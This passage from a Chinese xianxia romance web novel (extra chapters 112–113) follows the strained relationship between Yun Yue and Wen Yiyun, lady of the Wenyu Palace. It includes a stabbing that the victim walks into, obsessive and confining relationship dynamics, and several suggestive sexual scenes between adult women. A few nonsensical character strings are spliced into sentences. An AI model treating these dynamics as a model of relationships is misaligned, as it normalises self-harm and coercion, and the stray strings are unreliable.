冉寻迟疑地开口:“在你走后,那里大旱三年,颗粒无收,那位星星日日前往人族城池帮佣。” “啪嗒”。 书籍掉落。 冉寻腰身狠狠弯下:“但在大旱结束的第二年,那里取得了大丰收。” 云樾摁住桌角,稳下声线:“你下去。” 大旱三年,颗粒无收,帮佣。 云樾几乎用尽全身力气,才压制住翻涌不断的情绪。 * 问亦云是在傍晚十分回来的,刚一进入问玉宫,冉寻的身影出现在她面前。 “云樾今日可还好?”问亦云拍拍身上并不存在的灰尘,提步就走。 冉寻惶恐地将今日发生的事情告知:“宫主,云小姐今日让我去她所居的地界打探消息。”显注敷 打探消息,那片地界这四年可没发生什么大事。 问亦云挑眉:“然后呢?” 冉寻:“那里大旱三年。” 问亦云猛地止住身形:“怎么可能,那座城池附近都不曾听闻过干旱。” 冉寻:“我后来去了趟那座城池,是那座城池的城主找了大能强行降雨,所以没有被旱情干扰。” 但那片地界的妖族,能修炼的屈指可数,能施阵布雨的更是没有。 面对干旱,小妖们只能硬生生受着,另寻她法。 问亦云眉宇间的散漫散去,汇聚成一座小山,她挥挥手:“我知道了,下去吧。” 她竟然忽略了这种情况,只知道前往那座城池打探情况,却不曾踏足过那群小妖所属的地界。 她只知道谨记云樾不让她踏足的话,却忘记了灵活变通。 问亦云烦闷地捶了下脑袋,做好被冷脸的准备。 然,在她踏入中心殿宇的刹那,一道剑气毫不留情地斩落下,问亦云下意识侧身,堪堪躲过。 她目光一扫,挥剑的人竟是云樾。 登时所有的脾气和还手皆被压下:“云樾?” 云樾不接话,一剑一剑地发泄心头的情绪。 即使不调用灵力,灵剑依旧可以发挥出极大的伤害。 她招招直抵问亦云命门,下手不留情面,像是一门心思地想要斩杀问亦云般。 问亦云一味地躲避,玉石门上划开一道道痕迹,玉石柱被拦腰砍去半截,碎石洒满一地。 长时间的挥剑让云樾力气耗尽,她撑着附近的物品,直起身板,凝视着不远处的红衣女人,脸颊抽动。 “问亦云,”许久不曾唤这人的名字,甫一开口,还有些生疏,“你过来。” 问亦云走过去。 云樾提起剑,剑尖抵在问亦云的心口偏左,稍一用力,便能刺入对方身体。 问亦云一动不动:“你肯和我说话了吗?”她认错,“对不起,这件事是我的失误。” 云樾置若罔闻,薄唇轻启:“往前走。” 问亦云怔愣,继而笑开了:“如果能让你开心的话,”她往前走了一步,剑尖刺入身体,鲜艳的红衣被染上更为艳丽的红色,“你想如何对我,都可以。” 剑身将她贯穿,问亦云走到云樾身前,她想从云樾眼中看见心软。 但对方棕黑色的瞳孔中,风平浪静。 问亦云恍然记起数年前,云樾曾为她包扎腰身的伤,曾说会心疼她。 云樾松手,后退:“我想你死在我面前呢。” 那三年大旱,问亦云可以没有作为,毕竟问亦云没有义务帮助那群小妖,没有义务帮助她的妹妹。 但她现如今,是因为问亦云才成这副样子,无法回去,无法照顾小刺猬。 问亦云就应当承担起她的责任。 问亦云沉默片刻,扯开唇角,握住剑柄,一点点将长剑抽离身体。 黏腻血腥的液体顺着剑身滑动,在剑尖处挂起一滴滴血珠,不多时,形成一小滩血泊。 她低头看了眼伤口,满是血污的手握着长剑,一步步地挪向云樾,她手腕翻转,将剑柄重新递过去:“剑就在这,你想我死,随时都可以。” “我不会反抗。” “疯子。”云樾冷眼,“不准出现在我妹妹面前,更不准靠近我妹妹半步。” 问亦云:“好。” 云樾转身要走,被问亦云一把攥住手腕,后者虚弱而小声地问:“你现在还会心疼我吗?” 肌肤上的黏腻并不好受,云樾扯开问亦云的手,手腕处留下一圈浓烈的血腥气。 她转身离去。 “云樾!” 云樾背对着她:“谁来心疼她呢?” 问亦云怔然。 云樾继续说:“我走时,她才多大。问亦云,我本可以不怪你,但你在我昏睡期间,有想过帮我照顾我妹妹吗?” “当时问你,我妹妹如何,你跟我说,你不知道,你不知道我们生活的那片地界在哪,这话你说出来不觉得好笑吗?” “以你的能力,但凡你有想要找寻的想法,完全可以轻而易举的找到。” 就像冉寻,不过一个时辰,不仅来回,还将那里的消息打探出来了。 她无意将冉寻扯进这件事。 云樾心力交瘁,她恨不得多捅问亦云几剑,但埋藏在深处的感情让她下不去手。 她突然好痛恨这样的自己,痛恨和问亦云的相识。 作者有话说: 第112章 姐姐和宫主(四)[番外] 自这日后, 云樾起伏的情绪似乎恢复成原样,她依旧每日坐在殿前,由着暖阳晒在身上,或是阅读各类书籍, 或是绘画书法, 偶尔来了兴致,在身体稍有力时, 进行玉雕。 唯一的不同是, 她再也没有搭理过问亦云,如同面对空气般, 自顾自地做自己的事。 “云樾,需要我做点什么吗?”问亦云殷勤地捧着一沓上好的纸张立在画卷旁, 讨好地说,“我从画宗那新得了一批颜料和纸页,你看看合不合你的心意。” 云樾戳动画盘上的石青,纤长的手指勾动画笔,点缀在画面之上, 旁若无人地挪动位置。 在要画的那块地方被问亦云身形挡住时, 她笔尖顿住, 呆立在原地, 如木偶般一言不发。 问亦云后知后觉地意识到, 连忙移向别处。 笔尖勾动, 云樾精致流畅的脸部轮廓线落入问亦云眼中。 后者在她收笔后,重新贴过去:“云樾, 累不累, 已经一上午了,休息会吧。” 云樾放下画盘, 就在问亦云以为对方要与自己说话时,只见云樾扯住画卷的一端,往下用力扯动。 纸页撕裂的破碎声在寂静的空气中炸裂开。 问亦云的话语也被这声盖住。 不顾身边人僵滞的神色,云樾将其缩成一团握在掌心,反身坐到桌案后的高凳上,挺直的脊背松垮下。 她疲乏地揉动太阳穴,眼底的倦意显出几分。 问亦云跟过去,两只手柔柔地搭在她的额边,轻而缓慢地揉捏:“这个力度可以吗?” 不得不承认,问亦云在照顾人方面做的很好,往往云樾一个细微的表情,她便能知晓对方想要做什么。 事无巨细的打理好。 但这只限于云樾本人。 云樾别过头,指腹摁住桌案上,撑着起身,继而又是一声不吭地走进殿宇内,简单地洗漱过后,合衣而眠。 许是生活过于无趣,只能用睡眠打发时间,云樾每日的睡眠时间日益增长,到后来,甚至一日要睡七八个时辰。 即使是毫无灵力的普通人都不需要如此多的睡眠,更何况云樾一个修炼的。 长此以往,问亦云总担心云樾的身体会出问题,日日让丹修前来给云樾探看身体。 可每次得到的答案都是:“宫主,云小姐除却灵识不稳外,身体并无大碍。” “睡得久,许是因为身体虚弱。” 问亦云烦闷地摆摆手,示意身边人都下去。 她坐在云樾床边,摸到云樾被子中的手,趁着对方尚在清醒,她试探地与对方说话:“云樾,有没有哪里不舒服?” “我陪你一起睡,好不好?” 云樾算不得排斥她的肢体接触,只是不与她说话。她不说话,问亦云便当对方是默认同意,翻身上床,挤入床的里侧。 问亦云侧身揽住云樾的腰身,凑过去,埋首在白衣女人细嫩的脖颈处:“这些年,你都不曾与我说过几句话,就那么厌弃我吗?” 她勾住云樾的手,将弯曲的指捋平,一点点往下带:“我反思过那件事了,也将前因后果讲与你听了。旱情是我没能预料到的,以后,不会再发生这种事。” “我派人时常去那处地界查看。”进入的瞬间,问亦云身体忍不住向上抬了些,待适应后,她继续道,“你妹妹将自己照顾的很好。” 她额间泌出细密,低声问:“好久没有碰过我了,你不想我吗?” 身旁人毫无反应。 问亦云倒也不气馁,牵住云樾,以自身为自己的主导者,脑海中自欺欺人地想的是云樾。 是云樾在与她作乐。 她克制住不断增加的妄念,咬紧下唇,祈求道:“云樾……” 她额头抵住云樾的侧脸。 …… 在瞬间,她的半边身体压在云樾身上,以此获得更多的接触。 她长长地吐出一口气,吻了吻云樾的唇角,依恋地要往白衣女人的怀中钻。 “问亦云。” 久不听得这人的声音,问亦云以为自己是幻听了,她疑惑地抬起头,却见云樾那双波澜不兴的眸子正看向她。 不带感情色彩的望着她。 但这足以让问亦云欣喜若狂,刚刚得到满足的趣味又变得不知足,她珍视的收敛起念想:“我在。” 云樾淡声道:“把你的东西,清理了。” …… 覆在肌肤上。 夹杂着问亦云身上似有若无的暖香,激得她大脑涨疼。 问亦云一愣,眼巴巴地:“现在就清理吗?”她软软地撒娇,“可是我还想。” 问亦云曲腿。 …… 柔软的布料此刻都显得粗糙起来。 问亦云慢条斯理地游移:“云樾,帮帮我。” 云樾头朝向另一侧,闭目,平缓的呼吸渐起。 怎么可能睡得着。 问亦云没想到装睡这种拙劣的方式都能被云樾用出来,她轻笑一声,没有揭穿。 自娱自乐地蹭了几下,给云樾使了个净身术。 那两句话如同昙花一现,云樾又不搭理她了。 每日不是处理问玉宫的事物,就是黏在云樾身边。 渐渐的,问亦云发现,并不是不能挑起云樾说话的兴致,只需要找对方法,云樾是会搭理她的。 好比现在。 “前几日我派出去的人回来了,”问亦云叉起一小块切好的水果递到云樾唇边,张扬明艳的姿容上翘着浅浅的笑容,“她告诉我,你妹妹如今已踏上修炼一途。” “只是没有领路者,进度缓慢。” 果不其然,云樾掀起眼帘,眸子落在她身上。 她伸了伸叉起的水果。 云樾启唇,含下。 问亦云:“她会化成人形,去人族的城池学习。” 但小刺猬毕竟没有钱财,交不了费用,无法正大光明的学习,只能变回本体,利用身体小的优点,躲在一角窥探,等日落结束,回到自己的地界回顾学习。 但这样,并不能将一日所见全部习得。 “我让她在座城池开展免费的教习,针对妖族修炼的方式制定了符合你妹妹的,听她说,你妹妹昨日便去了。” “她是修炼的好苗子,学得很快,也很认真。” 云樾听得专注。 她想象着自家妹妹化成人形修炼的模样,是否也会像小刺猬时那般,握着那把她用树木制作出,手柄处刻着一枚星星的木剑,摇摇晃晃地摆出姿势。 很可爱的星星。 云樾弯下唇:“然后呢?” 问亦云道:“唯独遇见不懂的,她总是难以启齿,时常需要去问,才肯请教。” 星星自幼与她待在一起,面对熟悉的妖时,热情而活泼,可一旦碰见不熟悉的,连一句话都说不出来,只会缩在她后面,悄悄地探出脑袋。 云樾的声音含着哑意:“还有吗?” 问亦云跨坐在她腿上,圈住云樾的脖颈,亲昵地吻了吻白衣女人:“暂时就这么多。” 她得寸进尺地索要奖励:“云樾,我这么听话,你要不要多跟我说说话?” 云樾沉默。 她们之间早已没了共同话题。 问亦云叹息一声:“不想说话,那便亲我一口也是好的。” 云樾看她。 问亦云侧头在她唇上烙下一吻:“收到了。” 两人间好像获得了微妙的平衡,云樾也不再如前几年那般缄言。 但这种微妙的平衡没能持续多久。 问亦云收到她派出的那人传回来的消息:云榆连续数日没有前来修习,妖族地界也没能发现对方的踪迹。 好端端一只妖,凭空蒸发,消失不见。 一路随着云榆的气息追寻,仍旧无果。 问亦云不敢有所隐瞒,如实将这件事告诉了云樾。 “你说什么?”彼时云樾正在雕刻一件玉石,“不见了?” 经过这些年的调养,云樾的身体相教之以往好了许多,面上增添了许多血色,她似是没理解问亦云话中的意思,“什么叫不见了?” 她们生活的地界就那么大,怎么会找不到。 问亦云道:“她的气息延伸到那片地界的外围,中途没有打斗的痕迹,也没有其她人或妖的气息。大概率是她自己决定离开的。” 但这只是她的推测,为了防止意外,她特意让冉寻去了趟那处。 “冉寻提取了几只小妖的记忆,显示你妹妹临走前,与她们提过,说是要拜入宗门学习。” “具体是哪一宗门,你妹妹并没有说。” 云樾捂住胸口,眉心紧紧蹙起,灵海内不好容易吸入些的灵力被调动起来。在血脉相连的关系中,她细细感知云榆安全与否。 那份纽带仍在。 星星并无性命之忧。 问亦云急忙道:“我会令人去各大宗门查找,只是这一进程定然不可能过快。” 先不说各大顶尖宗门内部防御严明,非本宗之人不可轻易入内,单是小宗门的数量就何止千万,一一排查下来,不知要耗费多长时间。 问玉宫身为中立势力,许多年不曾出世,若是因这件事引起较大的动静,势必会引来其她势力的注意。 云樾“嗯”了声。 她素来恩是恩,过是过,云榆离开妖族生活的地界是她自己的选择,况且问亦云拿出了处理方式,她不至于是非不分,将所有的一切都责怪在问亦云头上。 但…… “你会保证她性命无虞,对吗?”她强制性地给问亦云下达指令。 问亦云现如今连小刺猬在哪都不知道,如何知晓小刺猬在拜入宗门的途中会遇见什么,拜入宗门后会遭遇什么。可她只能硬着头皮接下:“是,她会安然无恙。” 悬着的心一直到无意中被遗迹坍塌的巨大动静吸引,从而看见从内里出现的云榆而松下。县驻富 她迫不及待的将这个消息告诉云樾。 是为找到云榆高兴,还是因为能获得云樾的奖励而期待,她偏向于后者。 因为在此之前,她和云樾的关系几乎降到冰点。 她将这个消息告诉云樾后,得偿所愿地得到了云樾的奖励。而后,便是因为明越宗在遗迹中对苍焰宗的人出手,苍焰宗寻找问玉宫裁定这件事。 当然,苍焰宗找问玉宫裁定,则是问玉宫主动向苍焰宗那边泄露了即将出世的消息。 她和云樾的关系再一次变得缓和。 可当她坐在高台,看见比试台上,那个什么都不用做,就能牵动云樾内心的小刺猬时,无形的嫉妒将她吞没。 这么多年,她在云樾面前卑躬屈膝,尊严抛之于外,事事以云樾优先,可云樾少有和颜悦色的同她说话, 巨大的不平衡拉扯着她,那一刻,她竟然生出了不好的想法。 好在,那个想法被及时遏制。 但小刺猬因为她的迟疑受了伤。 这件事,瞒不住云樾。 天长地久的相处中,云樾太了解她了。一眼就将她看穿。 再之后,便是小刺猬深陷阵法,她感知到留给小刺猬的玉佩中的灵识传递来的消息。 重伤的小刺猬和明越宗的几位师姐一同被接到问玉宫。 小刺猬在的一个月,是她与云樾在问玉宫的这些年里,相处的最为融洽的一段时光,为了不让小刺猬担心,云樾主动说她们两人是道侣关系。 在小刺猬修养好准备离开时,问亦云竟生出了挽留的心思。 有小刺猬在,她和云樾才能一直维系着那份和谐。 * “她们已经抵达明越宗。”问亦云将收到的回音转告云樾,“你不用担心。” 云樾:“嗯。” 问亦云抿了下唇:“你若是想见她,可以随时邀请她来问玉宫。” 云樾瞥了她一眼。 问亦云道:“我不会伤害她。”她哽了下嗓子,“所以,她走后,我们还会是道侣关系吗?” 单独相处时,云樾总是沉默对她,一句话都吝啬于对她说。 她五指虚虚地握起,不止一次想起那日听到的云樾对她的评价。 改变非一朝一夕。 云樾总要给她足够的时间去改变,只要说出她有哪些问题,她都会一点点地改正。 “云樾,”问亦云轻声呼唤面前人的名姓,她缓缓跪在床上,额头隔着被子搭在云樾的小腹处,“如今你见到了你妹妹,我们重新开始,好不好?” 云樾:“问亦云,重新开始不了。” 问亦云身上僵住。 云樾抬起问亦云的头,她盯着红衣女子那张绝美的面容,皙白的手指点她曾经刺在问亦云心口处的剑伤。 问亦云的自我恢复能力极强,可那处的伤口至今仍然留下一道浅浅的痕迹,再如何都无法消磨。 她记得不止这一处,这些年在问亦云身上烙印下的伤痕,多多少少都留下了一点痕迹。 她问:“疼吗?” 问亦云:“不疼了。” 云樾又问:“还记得我刺向你时的感觉吗?” 问亦云怎么会忘记。 每一次她或是主动,或是被动地接下云樾的伤害,心都疼痛到无以复加,原没有表面的云淡风轻。 她哽住嗓子:“记得。” 云樾重新问:“疼吗?” 问亦云:“疼……” 忽地,她明白云樾问她的意思了,她身体猛地抖动起来,五指攥紧被子,顷刻间,脸上血色全无。 云樾缓缓道:“所以,我们不可能重新开始。”小刺猬走后,她不用再与问亦云扮演道侣间的亲密了,“太晚了,睡吧。” 她侧身而躺,背对着床上的另一人。 这一夜,问亦云没有睡,云樾也没有睡。 在之后的数个白日,云樾都没有看见问亦云,只在夜晚就寝时,对方携带一身冷意钻入被子中,与她保持着一点距离。 “晚安。”这是问亦云每晚都会同她说的话。 算是一句简单的问候,云樾会回她:“晚安。” 第二日,云樾醒来时,身边人早已不在。她习以为常地起身洗漱,遵循着日复一日的生活。 她的身体日渐养好,过不了多久,便可以自由出入问玉宫。 跨出殿宇的门槛中,出于意料的看见那道红色身影立于雕刻的石墙前。 红衣女人微微仰着头,似在欣赏前方的玉石雕刻,偶尔用指腹抚摸过凹凸不平的纹路,口中发出一声轻叹。 寂寥落寞地让人心疼。 感觉到身后的气息,问亦云缓缓转过身。 四目相对,她淡笑着:“对不起,我好像还是放不下。” 云樾歪头:“什么?” 问亦云道:“我想过,如果你不喜欢我了,那我应该和你保持距离的。我尝试了,但是,我还是会忍不住想见你。” 白日她用各种事物挤压自己的时间,让她分不出神去想云樾,晚上同眠保持着距离,忍住想要贴近对方的念头。 如此几天,她发现她受不了了。 她无法放下云樾。 云樾淡淡地收回目光,转身走到走廊处。 问亦云三步并做两步跟过去。 “我什么时候能出问玉宫。”云樾问。 问亦云面露苦色:“最多三个月便可离开。” 云樾问:“好,我知道了。” 问亦云:“你会离开吗?” 明明在问之前已经有了答案,可她仍旧抱有一丝幻想。 但这盆凉水还是毫不留情地浇了下来。 “会,”云樾看向由她亲手雕刻的玉石墙,玉石柱,绘制在墙面上的山水画,“我早就想离开了。” 她一字一顿地说:“做梦,都想离开。” 这处地方困住了她这么多年,她想去外面看看,而不是拘泥于这方小世界。 问亦云踉踉跄跄地后退两步,苦笑着道:“你就这么讨厌我。” “云樾,你就没有一丝对我的留念和喜欢吗?”问亦云问。 云樾实话实说:“我若是不喜欢你,不会替你挡下那道元素之力。” 她心甘情愿,未曾因为这件事怨恨过问亦云,扪心自问,假设重回那时,以当时的心境,她仍旧会做出同样的选择。 毕竟,她当时真的很喜欢问亦云,奔着与对方生生世世的念头。 问亦云扯开唇角:“那就是因为云榆的事情。” 云樾:“是。” 问亦云咬住舌尖,剧烈的疼痛激地她眼尾发红,眼眶发酸:“是,云榆委屈,我难道就不委屈吗?” “我承认,当初是我的失误让云榆受了苦,但后来苍焰宗和明越宗的比试,我没有出手吗?”她单手撑着玉石柱,指腹扣在雕刻的凹槽住,锐利的尖端划破她的手指,“问玉宫身为中立势力,有着裁决的能力,本就不应当偏袒任何一方。” “我不仅出手了,还将苍焰宗的人处理了,还不够吗?”问亦云道,“对,云榆因为我的犹豫受伤了。但我就不能有情绪吗?云樾,这十多年,你有几次正眼看过我,我就不能有一点儿的情绪吗?” “再说后来的那次阵法,我没有帮云榆吗?若不是我留在玉佩中的灵识,她能从那座阵法中出来吗?”问亦云咽了下,她少有情绪如此激动的时候,“我不告诉你,是怕你冲动。我会去的,我会去帮她的。但凡你当时对我还有一点信任。” “你明明知道你不能出问玉宫,你明明知道你的身体受不了,你不过是害怕我不去,所以用自己逼迫我。”问亦云指腹的血染红了白玉石柱,“云樾,你有没有一点心。” 她大口地喘息,额头重重靠在石柱上,几乎泣不成声,埋藏在心底的情绪一瞬间被释放出来,胸腔剧烈的起伏,整个人都处于极度的情绪崩溃中。 云樾只是问:“说完了吗?” 问亦云喉咙被堵住,说不出话。 云樾转身要走。 问亦云一个健步冲过去,牢牢锁住要走的人:“你就没有一点想要对我说的话吗?” 云樾反问:“你想要我说什么?说我没有心,不识好歹吗?” 问亦云哽住:“我没有这个意思。” 她紧紧抱住云樾,头埋在女人脖颈间,心底的疼痛止不住地往外冒,她不知道她为什么要说这些,她只是控制不住。 她只是想要和云樾在一起。 为什么,为什么她做什么都是错的,她做什么,都不能得到云樾的注意。 明明很久前,她们还曾一同赏花观景,互簪发钗。明明很久前,云樾有言要等春日对她说。 所有的情绪一瞬间不可控。 她说完便已经后悔。 可话语早已收不回来了。 作者有话说: 第113章 姐姐和宫主(完)[番外] 微凉的液体侵入衣衫, 黏腻地趴伏在肩头。云樾悬空的手虚虚地扣在面前人的脊背,她眉心紧促,留存在心底的情感撕裂地她心口犯疼。 许是不想在她面前露出过于脆弱的一面,问亦云并没有发出声音, 只是肩头不时颤抖, 浸入她衣衫的液体越发多。 漫长到不知过了多久,云樾周身被一层浅薄的灵力覆盖。 是问亦云悄无声息地使用了个净身术, 将遗落在云樾身上的脆弱尽数清除。 再次抬起头, 她神情已是过往那般明艳,看不出半点方才的狼狈。 问亦云张开双臂, 松开对云樾的桎梏,微微向后退了半步, 嗓子中存着些许哽塞的沙哑:“对不起,我失态了。” 云樾定定地看了她两秒,无声地摇摇头,绕开她,按部就班的进行今日的事项。 玉墙上的雕刻还没完成, 她不是半途而废的人, 既然最多三个月她便可以离开问玉宫, 那么在此之前, 她定然要将这块玉墙雕刻完成。 还有先前几幅重新绘制的画卷。 后者倒是费不了多长时间, 三五日便可完成, 玉雕则是件耗时耗力的精细活,稍不留神, 整面墙壁都会被毁。 她捻着专门的玉石雕刻刀, 沿着事先确定好的路线,精雕细琢。 问亦云守在她身边, 与她隔着半个身位,红衣女人双手扶着膝盖,脊背弯曲,视线随着玉石刀的走向移动,可细看之下,并不聚焦。 云樾偏头去寻另一柄刀时,问亦云长而翘的睫毛快速眨动数次,下意识直起身体,话语在大脑前而出:“怎么了?” 云樾:“雕刻刀。” 问亦云捡起递给她。 一上午恍然过去,云樾手腕泛着酸,她握着腕部边揉捏边往殿内走去。 问亦云这次没有跟上去,她凝视着云樾的离去的背影,直至那道背影消失在拐角,她回神似地收回目光,枯坐在长廊的长椅上,歪头靠着那根被她血液晕染的玉石柱。 发泄完积压的情绪,内心深处多了怅然若失。 她看见一束光传入走廊,她想伸手去触摸,在触及到光芒的前一秒,瑟缩地收回。 她想到过往的事情。 如果当初,她防备意识再多一点,不那么自负,是不是就不会陷入阵法中,她就能听见云樾在春日的言语。 如果当初,在云樾昏睡之时,她多用点心,会不会就能察觉到妖族地界持续的干旱,从而对小刺猬伸出援手,云樾就不会对她视而不见。 如果当初,她没有被嫉妒支配,提前出手,免掉小刺猬受伤,她和云樾或许已经成了人人艳羡的道侣。 她一步步地将这些葬送在手中。 问亦云仰起头,她好像理解了云樾的那句“一意孤行”是什么意思了。 云樾给了她无数次机会,她都不曾把握住。 她记起小刺猬和裴依宁到问玉宫后发生的事情,记起裴依宁主动像她询问云樾的身体状况,想要为云樾治疗。 记起云樾对裴依宁的放心,放心地将小刺猬交到对方手中。 她记起裴依宁说过,爱屋及乌,因为她是星星的姐姐。 爱屋及乌。 她好像没有做到过这点。 问亦云红唇张合,自嘲地勾起唇角。 * 随着三月之期日渐到来,问亦云越发缠着云樾,那日的失态恍若不曾发生。 她跨坐在云樾腿上,半眯起眼睛,来回轻盈地晃动,指尖勾住云樾肩膀的衣衫,五指陷入。 平整被杂乱取代,她喉咙不断地咽下欲出的声音。 她和云樾在进行这种亲密无间的事时,总是少有出声的时刻。 晶莹剔透凝结,云樾圈住问亦云的腰身,看着对方在她面前自娱自乐。 当清泉汇聚,问亦云含着的声线透出几分:“云樾,云樾,”她呜咽地喊对方的名字,不知疲倦地行进着,“云樾……” 听着她的呼唤,云樾顿了下,许是念及不久后就要离开此地,她好心地送问亦云抵达腾空的点。 面前的人扶住她,紧紧咬住的唇瓣混着血色,艳丽无比。 问亦云不在意地卷起血珠,软声:“还想。” 云樾支起眼帘。 问亦云笑着道:“不给也没关系。” 她呼吸起伏,尚未从那种状态中走出,缓了缓,她道,“但你马上就要走了,不是吗?” 她笑:“我们……快要分开了。” 云樾抽离的念想按下。 …… 问亦云因她突如其来的举动低哼一声:“等会儿,”她勾着尾调,“我还没准备好呢。” 云樾顿住。 问亦云小幅度地调整过位置,挤出声来:“可以了,云樾。” 和谐的像是在商量什么事情:“今天你听我的,好不好?” 云樾“嗯”了声。 问亦云轻笑:“那……就这样吧。” 云樾抬头看了眼姿容绝艳的女人:“嗯。” 持续不间断到腕部起了酸意,存着满满的香甜,她靠在后方的物体上,舒缓一部分气力,如此,她能活动的区域变得更多。 在云樾往后仰时,问亦云有一瞬间要从对方身上跌下来的错觉,本能地跟着往前而去,但云樾手臂并未有多余的举动,仍旧摆放在原地。 问亦云这般挤过去,一时间变得更加有压迫感,她胸腔不由自主地堵上一口气,闷在那动弹不得。 云樾淡声道:“别乱动,”过于娇嫩,她有些担心问亦云将自己弄伤了,“在我调整的时候,不要乱动,其余时间,你可以自由发挥。” 经由云樾的嘴一说,竟然显得文艺许多。 问亦云心满意足地:“好哦。” 越到后面,变得越发慢。 …… 问亦云的状态有些不多,云樾拉开身距,只见红衣女人眼神模糊,几近没有睁眼的能力,上挑的眼睛眯起一条缝。 云樾:“可以了。” 问亦云喉咙滚动,艰难地稳住声线:“不是说好了吗?”她点过云樾的脸颊,低声提醒,“继续。” 问亦云虽喜欢缠着她做那些事,但不至于不知道节制成这样。 距离她离开的日子一个多月。 云樾明白问亦云如今这样是为何了。 她践行答应的言语,继续。 “云樾,”问亦云细若蚊蝇地开口,“如果,如果我当初,做了另一种选择,我们会是如今这样吗?” 云樾知道她说的是什么。 她抽离:“……”垂眸,指腹前端发白,起皱,“不会。” 得到预料中的答案,问亦云想笑,但她实在没力气笑了,无力地牵了下唇角,发出气音:“嗯。” “对不起。”问亦云凑在云樾身边低语,“但好像太晚了。” 她整理衣摆,凭空取出两枚丹药塞入口中,脖子一扬地吞下,跳动的美人筋映在云樾眼中。 她从云樾身上下来,待到止住胡乱的心跳和呼吸:“稍后会有人来为你探看身体。”她掐住虎口,“我去换身衣服。” 等她离开后,云樾瞥了眼黏腻的指,内视灵海,悬浮在上空的灵珠缓慢地运转,周围环绕一圈丝丝缕缕的灵气,连通灵海。 原先枯竭的灵海在这么多年的孕养中恢复得差不多,云樾能感觉到体内无限的生命力。 她使了个净身术。 一炷香后,问亦云回来了,罕见的没有穿红色,换了个月白色的衣衫,衬得她气质圣洁,多了几分疏离感。张扬的眉眼含着可窥见的攻击力。 可当女人的视线转向云樾时,冰雪消融般软化。 又过了半柱香的时间,殿宇内多出两道身影。 冉寻领着一人入内,云樾认识这人,这么多年,一直是以她为首的丹修为她疗养身体。 冉寻两人齐齐躬身:“宫主,云小姐。” 问亦云歪头点了下云樾。 那位丹修心领神会地上前,在云樾伸出手臂后,她将一张手帕搭在女人的小臂处,随后两指点在手帕处。 灵力穿过手帕没入云樾筋脉,顺着血液直达五脏六腑。 片刻后,那位丹修起身。 问亦云掌心攥出汗来:“如何。” 云樾的视线跟着挪动过去。 丹修躬身:“回宫主,云小姐的身体已无大碍,再修养七日即可。” “七日?”问亦云低喃,下意识地望向云樾。 这远比她预料的还剩一个月少许多。 七日,再有七日,云樾便可出问玉宫。时间的极速缩短让问亦云陷入窒息的无措中,她听见自己平静到极致的话语:“七日就可以好全吗?” “是,此处的疗愈之力极强,多养七日会更好。”那位丹修如是说。 云樾又询问了那位丹修一些问题,问亦云听得不清楚,她耳边嗡鸣声不断,杂乱到铺捉关键词。 她五指紧握成拳,指甲嵌入掌心,深深浅浅的月牙形带来的疼痛犹如感知不到。 满脑子都是七日。 七日后,云樾会离开吗? 七日后,她真的能心甘情愿地让云樾离开吗? 两个问题回荡在问亦云的脑海中,炸裂的太阳穴跳动不已。 “属下告退。”冉寻与那位丹修齐声道。 问亦云没有开口,那两人保持着躬身的姿态。 “辛苦了,下去吧。”云樾道。 冉寻与那位丹修如释重负地离开。 走远后,丹修擦擦额头上的汗:“冉大人,我方才可是说错话了。” 在她说完后,宫主脸色都变了。 在来之前,也没说什么能说,什么不能说啊。 冉寻摇摇头:“云小姐身体恢复,宫主应当比谁都高兴,别多想,宫主刚才不说话,许是这段时间累到了。” 丹修认同地点点头,她谨慎地往后看了眼,确定离得远了,不会被中心殿宇内的两人听见后,才是压着声音,问:“冉大人,云小姐来问玉宫十数年了,她和宫主……” 她适时止住话头。 冉寻知她想问的是什么。 为什么她和宫主不曾有好消息传出。 身为问亦云身边人,她知道的自是比其她人多得多。 云樾能对宫主有好脸色就不错了,怎么可能会与宫主结为道侣。 她客套地:“宫主的心思,我们这些天让你怎么能明白,你说是吧。” 自知失言,丹修反应过来,打着哈哈道:“冉大人说的是。” * “恭喜。”问亦云撑着体面,故作轻松,“时间又缩短了。” 毫无血色的脸上看不出半点恭喜的样子。 只剩下七日,即使日日夜夜黏在云樾身上也无法满足。卑劣的心思再度升起,只不过一瞬,就被她狠狠掐灭。 她难道还想让云樾更讨厌她吗? 她不想。 仅剩的几天,又能弥补多少。问亦云不知道。 “你不会在想,”云樾有种事不关已的感觉,她懒散地支起下巴,心情甚好,“不让我离开吧?” 问亦云笑:“什么都瞒不住你。”显朱负 她升起的卑劣心思就是如此。 她蹲下身子,柔软的掌垂在云樾腿上,侧脸贴过去,体会女人身上的温度。她抬手摸到发上的那根钗子,这么多年,这是她唯独不多一直随身携带的东西。 做工算不得精致的物件,被她保存的极好。 瞧见那根发钗,云樾不着痕迹地颤神。 当初问亦云给她簪上的那支,早就被她扔到不知名的角落,再没见过。 问亦云痴痴地摸索着冰凉的钗体,长指划过上方点缀的玉石。 半晌后,她将其递到云樾手边,祈求道:“能再为我簪一次吗?” 沉默片刻,云樾接过。 问亦云膝盖曲起,正对云樾,她垂下头颅,墨色长发柔柔地披在肩后,笑容明媚:“慢点簪。” 捏着那根发钗,云樾指骨绷起一层层白。时隔多年,她仍旧记得变故未发生前,和问亦云的相处。 她挽起问亦云的长发,回忆那日在街道上为问亦云簪发的心情。她发觉,她似乎还记得那时的心境。 无悲无喜地将发钗簪入面前人的发中,她捏住问亦云的下巴,迫使对方抬起头来,打量:“好了。” 问亦云:“不是说,簪慢点吗?我想多感受会。” 让更多的东西保存在记忆中,在无尽的岁月中反复咀嚼。 云樾:“起来吧。” 问亦云笑:“其实,我以为你会将这根发钗刺入我的脖颈中。” 云樾支起眼眸。 问亦云道:“很长一段时间,我都以为,我受伤你会开心。” 云樾呼吸平缓,她一瞬不瞬地注视着问亦云。 “我也真的很羡慕云榆,”问亦云道,“不论是当初还是现在,我都很羡慕她。” “但我好像用错了方法。木已成舟,发生的事情无法改变。但云樾,最后的七日,你能稍稍将关注点放在我身上吗?七日就好,就当满足我一个心愿。” “七日一到,你想去哪里,我绝不阻拦。” “这七天,对我和颜悦色一点,对我好一点。” 问亦云怯懦而小心地:“可以吗?” 心一点点收缩,云樾棕黑色的眸子中溢出说不清道不明的色彩:“问亦云。” 钝痛撕裂拉扯着问亦云,身体发麻到动弹不得。 云樾不愿意。 她有自知之明地保留住最后一丝自尊,不让云樾为难:“我知道了。” 灵力在体内游走,她强撑着站起。 “好。”忽而,一道轻缓的声音自小而来,“七日为限。” 问亦云晦暗的眼神登时亮起。 “七日后,我去哪里,你都不得插手,不得多问。”云樾道。 问亦云弯下唇:“好。” * “云樾,”问亦云被云樾握着手,带着雕刻玉石,休息的间隙,她问,“你能变回本体吗?” 